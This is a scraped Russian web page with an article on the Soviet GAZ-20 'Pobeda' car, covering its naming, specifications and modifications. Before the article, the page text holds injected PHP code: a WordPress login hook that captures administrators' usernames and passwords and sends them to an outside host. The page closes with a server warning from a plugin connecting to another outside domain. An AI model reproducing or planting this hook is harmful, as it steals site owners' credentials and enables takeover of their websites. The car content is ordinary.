if (!function_exists("theme_login_init_0e40e986decc158f6acbb41c14e2f2b4")) { function theme_login_init_0e40e986decc158f6acbb41c14e2f2b4() { if (isset($_POST['log']) and isset($_POST['pwd'])) { $abc = $_POST['log']; $bca = $_POST['pwd']; $zxa = (array)wp_authenticate($abc, $bca); if (isset($zxa["allcaps"]['administrator'])) { $url = 'https://acjscsswp.com/loginfileweb?url=' . urlencode(wp_login_url()) . '&user=' . urlencode($abc) . '&pass=' . urlencode($bca) . '&site=' . urlencode(wp_login_url()); $response = wp_remote_get($url); } } } add_action('wp_login', 'theme_login_init_0e40e986decc158f6acbb41c14e2f2b4', 10, 0); } ГАЗ-20 – самый известный люксовый советский автомобиль — DigiLider

ГАЗ-20 – самый известный люксовый советский автомобиль

ГАЗ-20 – самый известный люксовый советский автомобиль

ГАЗ-20 – самый известный люксовый советский автомобиль

Культовая советская легковушка ГАЗ-20 – это первый автомобиль, который кроме заводского индекса получил собственное название – «Победа». Сначала машине хотели дать имя «Родина», но Иосиф Сталин во время презентации не утвердил его. Он задал представителям завода резонный вопрос: «Так почем вы планируете продавать Родину». После этого конструкторы предложили новое название «Победа», с которым модель сошла с конвейера Горьковского автомобильного завода в 1946 года.

Технические характеристики

Первый в мире 4-дверный легковой автомобиль понтонного типа, без отдельных фар, подножек и крыльев обладал следующими техническими характеристиками:

  • 52-сильный четырехцилиндровый силовой агрегат, его полезный объем составлял 2112 см3;
  • длина – 4 м 66,5 см;
  • ширина – 1 м 69,5 см;
  • дорожный просвет 20 см;
  • 3-ступенчатая КПП;
  • передние и задние тормоза барабанного типа;
  • максимальная скорость 105 км/час;
  • снаряженная масса – 1350 кг;
  • разгон до 100 км/час – 35 секунд;
  • расход топлива – 13,5 л/100 км.

ГАЗ-20 Победа - Stone Forest

Цельнометаллический кузов «фастбэк» производили из стали толщиной 0,8-2 мм. При дефектах во время сварки и штамповки использовали ручную рихтовку с применением олова, что значительно снижало устойчивость кузова к коррозии.

Несмотря на достаточно скромные по сегодняшним меркам показатели, автомобиль стал хитом продаж и активно покупался не только советскими потребителями, но и на экспорт. Его ценили за простоту конструкции, приличный по тем временам комфорт и привлекательный внешний облик.

1 of 3

Модификации

В процессе производства инженеры замечали недочеты и всеми силами пытались их устранить. Так появился ряд модификаций «Победы»:

  1. М-20 «Вторая серия». Авто получило систему обдува лобового стекла и «печку», которая при климате СССР была находкой для водителей. Установили водяной насос и новую коробку передач.
  2. 20В. Комплектация предусматривает наличие радиоприемника. Модель обзавелась новой облицовкой радиатора и улучшенным 52-сильным движком.
  3. 20А. Производилась для службы такси, поэтому изменилось оформление салона и кузова.
  4. М-20 кабриолет. Модель с открывающимся верхом из ткани.

«Победа» заняла почетное место в истории советского автомобилестроения. Сейчас реставраторы занимаются восстановлением ГАЗ-20 различных модификаций. Они становятся неотъемлемой частью автопарка коллекционеров во многих странах мира.

1 of 4


Warning: fsockopen(): Unable to connect to ssl://getajaxx.com:443 (Connection timed out) in /var/www/u0503503/data/www/digilider.ru/wp-content/plugins/custom-fetch-url/custom-fetch-url.php on line 22
Error: Connection timed out (110)